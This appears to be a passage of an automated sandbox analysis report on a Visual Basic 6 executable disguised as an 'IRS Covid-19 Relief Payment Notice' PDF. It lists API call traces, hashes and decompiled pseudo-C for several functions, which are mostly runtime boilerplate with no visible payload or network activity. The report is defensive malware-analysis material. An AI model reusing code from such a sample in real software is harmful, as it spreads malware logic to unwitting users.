0x004113c3
0x004113c9
0x004113cb
0x004113d2
0x004113f1
0x004113d4
0x004113d4
0x004113d9
0x004113de
0x004113e1
0x004113e4
0x004113e9
0x004113e9
0x004113ff
0x0041141c
0x00411401
0x00411401
0x00411406
0x0041140b
0x00411410
0x00411410
0x00411436
0x00411440
0x00411444
0x00411449
0x0041144c
0x00411453
0x0041145a
0x00411461
0x00411468
0x0041146f
0x00411479
0x00411483
0x00411484
0x00411485
0x00411486
0x0041148a
0x00411494
0x00411495
0x00411496
0x00411497
0x0041149b
0x004114a5
0x004114a6
0x004114a7
0x004114a8
0x004114ad
0x004114b3
0x004114b9
0x004114c6
0x004114d1
0x004114d7
0x004114d9
0x004114e0
0x004114ff
0x004114e2
0x004114e2
0x004114e7
0x004114ec
0x004114ef
0x004114f2
0x004114f7
0x004114f7
0x00411509
0x0041150a
0x0041150d
0x0041150e
0x00411510
0x00411518
0x00411519
0x00411536
0x0041153b

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411334
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 0041135E
__vbaNew2.MSVBVM60(00401FD0,Prt,?,?,?,?,004012E6), ref: 00411376
__vbaObjSet.MSVBVM60(?,00000000), ref: 004113AF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402914,000000A0), ref: 004113E4
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0041140B
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411444
__vbaChkstk.MSVBVM60(?,00000000), ref: 00411479
__vbaChkstk.MSVBVM60(?,00000000), ref: 0041148A
__vbaChkstk.MSVBVM60(?,00000000), ref: 0041149B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,00000224,?,?,00000000), ref: 004114F2
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,00000000), ref: 00411510
__vbaFreeVar.MSVBVM60(0041153C,?,?,004012E6), ref: 00411536

Strings

Prt, xrefs: 00411363, 0041136C, 0041137B, 00411387, 004113F8, 00411401, 00411410, 0041141C

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$Chkstk$CheckFreeHresultNew2$List
String ID: Prt
API String ID: 1303183447-3650902515
Opcode ID: 2b8076e4d5e806c9f840db58b4d4a79dd4429da31bc3bd3a71fca81127628f76
Instruction ID: 5842907df4611477e023367d460af76b551a4f23a915d86a979d7d67888b94e2
Opcode Fuzzy Hash: 2b8076e4d5e806c9f840db58b4d4a79dd4429da31bc3bd3a71fca81127628f76
Instruction Fuzzy Hash: 09515D70A00208EFDB10DFA1C945BDDBBB5BF09704F2040AAF545BB2A1CBB95A85DF19

Uniqueness

Uniqueness Score: -1.00%

Function 004124AC, Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E004124AC(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v52;
				intOrPtr* _v72;
				signed int _v76;
				intOrPtr* _v88;
				signed int _v92;
				signed char _t37;
				signed short _t38;
				char* _t42;
				signed int _t46;
				void* _t60;
				void* _t62;
				intOrPtr _t63;

				_t63 = _t62 - 0xc;
				 *[fs:0x0] = _t63;
				L004012E0();
				_v16 = _t63;
				_v12 = 0x4012b0;
				_v8 = 0;
				_t37 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x44,  *[fs:0x0], 0x4012e6, _t60);
				_push(0x402a38);
				L004013B2();
				_t38 = _t37 & 0x000000ff;
				if(_t38 != 0x61) {
					if( *0x413010 != 0) {
						_v88 = 0x413010;
					} else {
						_push("Prt");
						_push(0x401fd0);
						L00401472();
						_v88 = 0x413010;
					}
					_t42 =  &_v36;
					L00401478();
					_v72 = _t42;
					_t46 =  *((intOrPtr*)( *_v72 + 0xf8))(_v72,  &_v32, _t42,  *((intOrPtr*)( *((intOrPtr*)( *_v88)) + 0x304))( *_v88));
					asm("fclex");
					_v76 = _t46;
					if(_v76 >= 0) {
						_v92 = _v92 & 0x00000000;
					} else {
						_push(0xf8);
						_push(0x402914);
						_push(_v72);
						_push(_v76);
						L0040146C();
						_v92 = _t46;
					}
					_push(0);
					_push(_v32);
					_push( &_v52);
					L004013A6();
					_t38 = 0x10;
					L004012E0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(0);
					_push(_v28);
					L004013AC();
					L00401430();
					L00401466();
					L00401448();
				}
				_push(0x4125f1);
				L00401466();
				return _t38;
			}

0x004124af
0x004124be
0x004124c8
0x004124d0
0x004124d3
0x004124da
0x004124e9
0x004124ec
0x004124f1
0x004124f6
0x004124fe
0x0041250b
0x00412525
0x0041250d
0x0041250d
0x00412512
0x00412517
0x0041251c
0x0041251c
0x00412540
0x00412544
0x00412549
0x00412558
0x0041255e
0x00412560
0x00412567
0x00412583
0x00412569
0x00412569
0x0041256e
0x00412573
0x00412576
0x00412579
0x0041257e
0x0041257e
0x00412587
0x00412589
0x0041258f
0x00412590
0x00412597
0x00412598
0x004125a2
0x004125a3
0x004125a4
0x004125a5
0x004125a6
0x004125a8
0x004125ab
0x004125b3
0x004125bb
0x004125c3
0x004125c3
0x004125c8
0x004125eb
0x004125f0

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 004124C8
#693.MSVBVM60(00402A38,?,?,?,?,004012E6), ref: 004124F1
__vbaNew2.MSVBVM60(00401FD0,Prt,00402A38,?,?,?,?,004012E6), ref: 00412517
__vbaObjSet.MSVBVM60(?,00000000), ref: 00412544
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402914,000000F8), ref: 00412579
#716.MSVBVM60(?,?,00000000), ref: 00412590
__vbaChkstk.MSVBVM60(?,?,00000000), ref: 00412598
__vbaLateIdSt.MSVBVM60(?,00000000,?,?,00000000), ref: 004125AB
__vbaFreeStr.MSVBVM60(?,00000000,?,?,00000000), ref: 004125B3
__vbaFreeObj.MSVBVM60(?,00000000,?,?,00000000), ref: 004125BB
__vbaFreeVar.MSVBVM60(?,00000000,?,?,00000000), ref: 004125C3
__vbaFreeObj.MSVBVM60(004125F1,00402A38,?,?,?,?,004012E6), ref: 004125EB

Strings

Prt, xrefs: 00412504, 0041250D, 0041251C, 00412525

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$Free$Chkstk$#693#716CheckHresultLateNew2
String ID: Prt
API String ID: 3573304718-3650902515
Opcode ID: 0f07e982bf65e98cd213778bf2f3774fce3bf0b10b521c152069ddada0d6a084
Instruction ID: f1d28bd08a569b8e17d8a1f27f22f7b5b78f603683826f102ac704e73f1ada5a
Opcode Fuzzy Hash: 0f07e982bf65e98cd213778bf2f3774fce3bf0b10b521c152069ddada0d6a084
Instruction Fuzzy Hash: E4310C70940209ABCB10EFD5C996FDDBBB5AF08704F10442AF101BB2F1C7BD6A559B59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CA1, Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00411CA1(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v48;
				intOrPtr* _v68;
				signed int _v72;
				intOrPtr* _v80;
				signed int _v84;
				signed char _t30;
				signed short _t31;
				char* _t35;
				signed int _t39;
				intOrPtr _t56;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t56;
				_t30 = 0x40;
				L004012E0();
				_v12 = _t56;
				_v8 = 0x401240;
				_push(0x402a38);
				L004013B2();
				_t31 = _t30 & 0x000000ff;
				if(_t31 != 0x61) {
					if( *0x413010 != 0) {
						_v80 = 0x413010;
					} else {
						_push("Prt");
						_push(0x401fd0);
						L00401472();
						_v80 = 0x413010;
					}
					_t35 =  &_v32;
					L00401478();
					_v68 = _t35;
					_t39 =  *((intOrPtr*)( *_v68 + 0x150))(_v68,  &_v28, _t35,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x310))( *_v80));
					asm("fclex");
					_v72 = _t39;
					if(_v72 >= 0) {
						_v84 = _v84 & 0x00000000;
					} else {
						_push(0x150);
						_push(0x402904);
						_push(_v68);
						_push(_v72);
						L0040146C();
						_v84 = _t39;
					}
					_push(0);
					_push(_v28);
					_push( &_v48);
					L004013A6();
					_t31 = 0x10;
					L004012E0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(0);
					_push(_v24);
					L004013AC();
					L00401430();
					L00401466();
					L00401448();
				}
				_push(0x411dd3);
				L00401466();
				return _t31;
			}

0x00411ca6
0x00411cb1
0x00411cb2
0x00411cbb
0x00411cbc
0x00411cc4
0x00411cc7
0x00411cce
0x00411cd3
0x00411cd8
0x00411ce0
0x00411ced
0x00411d07
0x00411cef
0x00411cef
0x00411cf4
0x00411cf9
0x00411cfe
0x00411cfe
0x00411d22
0x00411d26
0x00411d2b
0x00411d3a
0x00411d40
0x00411d42
0x00411d49
0x00411d65
0x00411d4b
0x00411d4b
0x00411d50
0x00411d55
0x00411d58
0x00411d5b
0x00411d60
0x00411d60
0x00411d69
0x00411d6b
0x00411d71
0x00411d72
0x00411d79
0x00411d7a
0x00411d84
0x00411d85
0x00411d86
0x00411d87
0x00411d88
0x00411d8a
0x00411d8d
0x00411d95
0x00411d9d
0x00411da5
0x00411da5
0x00411daa
0x00411dcd
0x00411dd2

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411CBC
#693.MSVBVM60(00402A38,?,?,?,?,004012E6), ref: 00411CD3
__vbaNew2.MSVBVM60(00401FD0,Prt,00402A38,?,?,?,?,004012E6), ref: 00411CF9
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00402A38), ref: 00411D26
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,00000150,?,?,?,?,?,?,?,?,?,?,?,00402A38), ref: 00411D5B
#716.MSVBVM60(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00402A38), ref: 00411D72
__vbaChkstk.MSVBVM60(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00402A38), ref: 00411D7A
__vbaLateIdSt.MSVBVM60(?,00000000,?,?,00000000), ref: 00411D8D
__vbaFreeStr.MSVBVM60(?,00000000,?,?,00000000), ref: 00411D95
__vbaFreeObj.MSVBVM60(?,00000000,?,?,00000000), ref: 00411D9D
__vbaFreeVar.MSVBVM60(?,00000000,?,?,00000000), ref: 00411DA5
__vbaFreeObj.MSVBVM60(00411DD3,00402A38,?,?,?,?,004012E6), ref: 00411DCD

Strings

Prt, xrefs: 00411CE6, 00411CEF, 00411CFE, 00411D07

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$Free$Chkstk$#693#716CheckHresultLateNew2
String ID: Prt
API String ID: 3573304718-3650902515
Opcode ID: 561cdc1264deb33fc81220bf8769eb25d6eb9d71a97d314fe58348df0df8aaa3
Instruction ID: 78ca47717534e11800eac3b2610db4463a0ebf76c098dc0f7f9a5147705bd30c
Opcode Fuzzy Hash: 561cdc1264deb33fc81220bf8769eb25d6eb9d71a97d314fe58348df0df8aaa3
Instruction Fuzzy Hash: 09311C70900209AFCB10EF95C846BEEBBB5AF08705F50442AF201B71F1D7B969459B19

Uniqueness

Uniqueness Score: -1.00%

Function 004111C2, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E004111C2(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				char _v32;
				short _v40;
				char _v48;
				void* _v68;
				intOrPtr* _v72;
				signed int _v76;
				signed int _v80;
				intOrPtr* _v92;
				signed int _v96;
				char* _t42;
				signed int _t46;
				signed int _t48;
				signed int _t51;
				void* _t63;
				void* _t65;
				intOrPtr _t66;

				_t66 = _t65 - 0xc;
				 *[fs:0x0] = _t66;
				L004012E0();
				_v16 = _t66;
				_v12 = 0x4011d0;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x48,  *[fs:0x0], 0x4012e6, _t63);
				if( *0x413010 != 0) {
					_v92 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v92 = 0x413010;
				}
				_t42 =  &_v32;
				L00401478();
				_v72 = _t42;
				_t46 =  *((intOrPtr*)( *_v72 + 0x1c8))(_v72,  &_v68, _t42,  *((intOrPtr*)( *((intOrPtr*)( *_v92)) + 0x310))( *_v92));
				asm("fclex");
				_v76 = _t46;
				if(_v76 >= 0) {
					_v96 = _v96 & 0x00000000;
				} else {
					_push(0x1c8);
					_push(0x402904);
					_push(_v72);
					_push(_v76);
					L0040146C();
					_v96 = _t46;
				}
				_v40 = _v68;
				_v48 = 2;
				_t48 =  &_v48;
				_push(_t48);
				L004013FA();
				L0040142A();
				_push(_t48);
				_push(L"Integer");
				L0040140C();
				asm("sbb eax, eax");
				_t51 =  ~( ~( ~_t48));
				_v80 = _t51;
				L00401430();
				L00401466();
				L00401448();
				_push(0x4112f7);
				return _t51;
			}

0x004111c5
0x004111d4
0x004111de
0x004111e6
0x004111e9
0x004111f0
0x004111ff
0x00411209
0x00411223
0x0041120b
0x0041120b
0x00411210
0x00411215
0x0041121a
0x0041121a
0x0041123e
0x00411242
0x00411247
0x00411256
0x0041125c
0x0041125e
0x00411265
0x00411281
0x00411267
0x00411267
0x0041126c
0x00411271
0x00411274
0x00411277
0x0041127c
0x0041127c
0x00411289
0x0041128d
0x00411294
0x00411297
0x00411298
0x004112a2
0x004112a7
0x004112a8
0x004112ad
0x004112b4
0x004112b8
0x004112ba
0x004112c1
0x004112c9
0x004112d1
0x004112d6
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 004111DE
__vbaNew2.MSVBVM60(00401FD0,Prt,?,?,?,?,004012E6), ref: 00411215
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411242
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,000001C8), ref: 00411277
#591.MSVBVM60(00000002), ref: 00411298
__vbaStrMove.MSVBVM60(00000002), ref: 004112A2
__vbaStrCmp.MSVBVM60(Integer,00000000,00000002), ref: 004112AD
__vbaFreeStr.MSVBVM60(Integer,00000000,00000002), ref: 004112C1
__vbaFreeObj.MSVBVM60(Integer,00000000,00000002), ref: 004112C9
__vbaFreeVar.MSVBVM60(Integer,00000000,00000002), ref: 004112D1

Strings

Integer, xrefs: 004112A8
Prt, xrefs: 00411202, 0041120B, 0041121A, 00411223

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$Free$#591CheckChkstkHresultMoveNew2
String ID: Integer$Prt
API String ID: 1148788311-2690611686
Opcode ID: 459f9ae5d37a9fe4f93190be45651307be7e664f70bb4ee34ccdc6717e585f4b
Instruction ID: f76b6ba9181113f39539bd694155a64dbeea9c87a801acd16459d24adc2c11f5
Opcode Fuzzy Hash: 459f9ae5d37a9fe4f93190be45651307be7e664f70bb4ee34ccdc6717e585f4b
Instruction Fuzzy Hash: D831C774940249AFCB10EFE5C885BEDBBB4EF08705F10846AF501BB2B1DB785986CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411A32, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00411A32(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				short _v24;
				void* _v28;
				char _v44;
				intOrPtr _v68;
				char _v76;
				void* _v80;
				void* _v84;
				signed int _v88;
				intOrPtr* _v92;
				signed int _v96;
				char _v104;
				signed int _v108;
				signed int _v112;
				void* _t43;
				short _t46;
				short _t47;
				signed int _t53;
				signed int _t58;
				intOrPtr _t67;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t67;
				_t43 = 0x5c;
				L004012E0();
				_v12 = _t67;
				_v8 = 0x401210;
				_push(0x402b2c);
				L004013CA();
				_push(_t43);
				_push( &_v44);
				L004013D0();
				_v68 = 0x402a38;
				_v76 = 0x8008;
				_push( &_v44);
				_t46 =  &_v76;
				_push(_t46);
				L004013F4();
				_v84 = _t46;
				L00401448();
				_t47 = _v84;
				if(_t47 != 0) {
					if( *0x41333c != 0) {
						_v104 = 0x41333c;
					} else {
						_push(0x41333c);
						_push(0x402a5c);
						L00401472();
						_v104 = 0x41333c;
					}
					_t13 =  &_v104; // 0x41333c
					_v84 =  *((intOrPtr*)( *_t13));
					_t53 =  *((intOrPtr*)( *_v84 + 0x1c))(_v84,  &_v28);
					asm("fclex");
					_v88 = _t53;
					if(_v88 >= 0) {
						_v108 = _v108 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x402a4c);
						_push(_v84);
						_push(_v88);
						L0040146C();
						_v108 = _t53;
					}
					_v92 = _v28;
					_t58 =  *((intOrPtr*)( *_v92 + 0x64))(_v92, 1,  &_v80);
					asm("fclex");
					_v96 = _t58;
					if(_v96 >= 0) {
						_v112 = _v112 & 0x00000000;
					} else {
						_push(0x64);
						_push(0x402b34);
						_push(_v92);
						_push(_v96);
						L0040146C();
						_v112 = _t58;
					}
					_t47 = _v80;
					_v24 = _t47;
					L00401466();
				}
				_push(0x411b7b);
				return _t47;
			}

0x00411a37
0x00411a42
0x00411a43
0x00411a4c
0x00411a4d
0x00411a55
0x00411a58
0x00411a5f
0x00411a64
0x00411a69
0x00411a6d
0x00411a6e
0x00411a73
0x00411a7a
0x00411a84
0x00411a85
0x00411a88
0x00411a89
0x00411a8e
0x00411a95
0x00411a9a
0x00411aa0
0x00411aad
0x00411ac7
0x00411aaf
0x00411aaf
0x00411ab4
0x00411ab9
0x00411abe
0x00411abe
0x00411ace
0x00411ad3
0x00411ae2
0x00411ae5
0x00411ae7
0x00411aee
0x00411b07
0x00411af0
0x00411af0
0x00411af2
0x00411af7
0x00411afa
0x00411afd
0x00411b02
0x00411b02
0x00411b0e
0x00411b1f
0x00411b22
0x00411b24
0x00411b2b
0x00411b44
0x00411b2d
0x00411b2d
0x00411b2f
0x00411b34
0x00411b37
0x00411b3a
0x00411b3f
0x00411b3f
0x00411b48
0x00411b4c
0x00411b53
0x00411b53
0x00411b58
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411A4D
__vbaI4Str.MSVBVM60(00402B2C,?,?,?,?,004012E6), ref: 00411A64
#608.MSVBVM60(?,00000000,00402B2C,?,?,?,?,004012E6), ref: 00411A6E
__vbaVarTstNe.MSVBVM60(00008008,?,?,?,?,?,?,?,?,?,?,00000000,00402B2C), ref: 00411A89
__vbaFreeVar.MSVBVM60(00008008,?,?,?,?,?,?,?,?,?,?,00000000,00402B2C), ref: 00411A95
__vbaNew2.MSVBVM60(00402A5C,0041333C,00008008,?,?,?,?,?,?,?,?,?,?,00000000,00402B2C), ref: 00411AB9
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A4C,0000001C,?,?,?,?,?,00008008,?), ref: 00411AFD
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402B34,00000064,?,?,?,?,?,00008008,?), ref: 00411B3A
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,00008008,?), ref: 00411B53

Strings

<3A, xrefs: 00411ACE

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$CheckFreeHresult$#608ChkstkNew2
String ID: <3A
API String ID: 1404394042-662753744
Opcode ID: 8f5be5ec39c57242e14f40e124277cfabc469ffb99f5714edbc589d6c99413af
Instruction ID: 62c3946237be25423be9e4eedeb5edacea99d7dd8e2e20015e67b7d320149ff4
Opcode Fuzzy Hash: 8f5be5ec39c57242e14f40e124277cfabc469ffb99f5714edbc589d6c99413af
Instruction Fuzzy Hash: 7A31B271900248AFDB01DFD1C945BDEBBB8AF04705F10402AE501BB2A5D7B8A985CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00412811, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00412811(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				signed int _v28;
				void* _v32;
				intOrPtr* _v36;
				signed int _v40;
				intOrPtr* _v44;
				signed int _v48;
				intOrPtr _v56;
				char _v60;
				signed int _v64;
				signed int _v68;
				signed int _t46;
				signed int _t51;
				signed int _t52;
				intOrPtr _t63;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t63;
				_push(0x30);
				L004012E0();
				_v12 = _t63;
				_v8 = 0x4012d0;
				if( *0x41333c != 0) {
					_v60 = 0x41333c;
				} else {
					_push(0x41333c);
					_push(0x402a5c);
					L00401472();
					_v60 = 0x41333c;
				}
				_t5 =  &_v60; // 0x41333c
				_v36 =  *((intOrPtr*)( *_t5));
				_t46 =  *((intOrPtr*)( *_v36 + 0x14))(_v36,  &_v32);
				asm("fclex");
				_v40 = _t46;
				if(_v40 >= 0) {
					_v64 = _v64 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x402a4c);
					_push(_v36);
					_push(_v40);
					L0040146C();
					_v64 = _t46;
				}
				_v44 = _v32;
				_t51 =  *((intOrPtr*)( *_v44 + 0x110))(_v44,  &_v28);
				asm("fclex");
				_v48 = _t51;
				if(_v48 >= 0) {
					_v68 = _v68 & 0x00000000;
				} else {
					_push(0x110);
					_push(0x402b6c);
					_push(_v44);
					_push(_v48);
					L0040146C();
					_v68 = _t51;
				}
				_t52 = _v28;
				_v56 = _t52;
				_v28 = _v28 & 0x00000000;
				L0040142A();
				L00401466();
				_push(0x412922);
				L00401430();
				return _t52;
			}

0x00412816
0x00412821
0x00412822
0x00412829
0x0041282c
0x00412834
0x00412837
0x00412845
0x0041285f
0x00412847
0x00412847
0x0041284c
0x00412851
0x00412856
0x00412856
0x00412866
0x0041286b
0x0041287a
0x0041287d
0x0041287f
0x00412886
0x0041289f
0x00412888
0x00412888
0x0041288a
0x0041288f
0x00412892
0x00412895
0x0041289a
0x0041289a
0x004128a6
0x004128b5
0x004128bb
0x004128bd
0x004128c4
0x004128e0
0x004128c6
0x004128c6
0x004128cb
0x004128d0
0x004128d3
0x004128d6
0x004128db
0x004128db
0x004128e4
0x004128e7
0x004128ea
0x004128f4
0x004128fc
0x00412901
0x0041291c
0x00412921

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 0041282C
__vbaNew2.MSVBVM60(00402A5C,0041333C,?,?,?,?,004012E6), ref: 00412851
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A4C,00000014,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 00412895
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402B6C,00000110,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 004128D6
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 004128F4
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 004128FC
__vbaFreeStr.MSVBVM60(00412922,?,?,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 0041291C

Strings

<3A, xrefs: 00412866

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$CheckFreeHresult$ChkstkMoveNew2
String ID: <3A
API String ID: 1253681662-662753744
Opcode ID: ff44845468cc78c6ea6a717e915b027ba95fa3cc3611c5ed05d4d9b1ba427a37
Instruction ID: f4916d9d9a3a703f56697a0e457f66197102108bf8034bf46997e4cdc92c9a9d
Opcode Fuzzy Hash: ff44845468cc78c6ea6a717e915b027ba95fa3cc3611c5ed05d4d9b1ba427a37
Instruction Fuzzy Hash: 0131F671D00208EFCF00EFA5C986BDEBBB4FB08715F10406AF101B62A1D7B859959F69

Uniqueness

Uniqueness Score: -1.00%

Function 00411EFA, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00411EFA(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a24) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				char _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr* _v56;
				signed int _v60;
				char* _t36;
				signed int _t39;
				void* _t50;
				void* _t52;
				intOrPtr _t53;

				_t53 = _t52 - 0xc;
				 *[fs:0x0] = _t53;
				L004012E0();
				_v16 = _t53;
				_v12 = 0x401260;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x24,  *[fs:0x0], 0x4012e6, _t50);
				L00401436();
				if( *0x413010 != 0) {
					_v56 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v56 = 0x413010;
				}
				_t36 =  &_v36;
				L00401478();
				_v40 = _t36;
				_t39 =  *((intOrPtr*)( *_v40 + 0x1d4))(_v40, _t36,  *((intOrPtr*)( *((intOrPtr*)( *_v56)) + 0x300))( *_v56));
				asm("fclex");
				_v44 = _t39;
				if(_v44 >= 0) {
					_v60 = _v60 & 0x00000000;
				} else {
					_push(0x1d4);
					_push(0x402934);
					_push(_v40);
					_push(_v44);
					L0040146C();
					_v60 = _t39;
				}
				L00401466();
				_push(0x411fe5);
				L00401430();
				return _t39;
			}

0x00411efd
0x00411f0c
0x00411f16
0x00411f1e
0x00411f21
0x00411f28
0x00411f37
0x00411f40
0x00411f4c
0x00411f66
0x00411f4e
0x00411f4e
0x00411f53
0x00411f58
0x00411f5d
0x00411f5d
0x00411f81
0x00411f85
0x00411f8a
0x00411f95
0x00411f9b
0x00411f9d
0x00411fa4
0x00411fc0
0x00411fa6
0x00411fa6
0x00411fab
0x00411fb0
0x00411fb3
0x00411fb6
0x00411fbb
0x00411fbb
0x00411fc7
0x00411fcc
0x00411fdf
0x00411fe4

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411F16
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 00411F40
__vbaNew2.MSVBVM60(00401FD0,Prt,?,?,?,?,004012E6), ref: 00411F58
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411F85
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402934,000001D4), ref: 00411FB6
__vbaFreeObj.MSVBVM60 ref: 00411FC7
__vbaFreeStr.MSVBVM60(00411FE5), ref: 00411FDF

Strings

Prt, xrefs: 00411F45, 00411F4E, 00411F5D, 00411F66

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

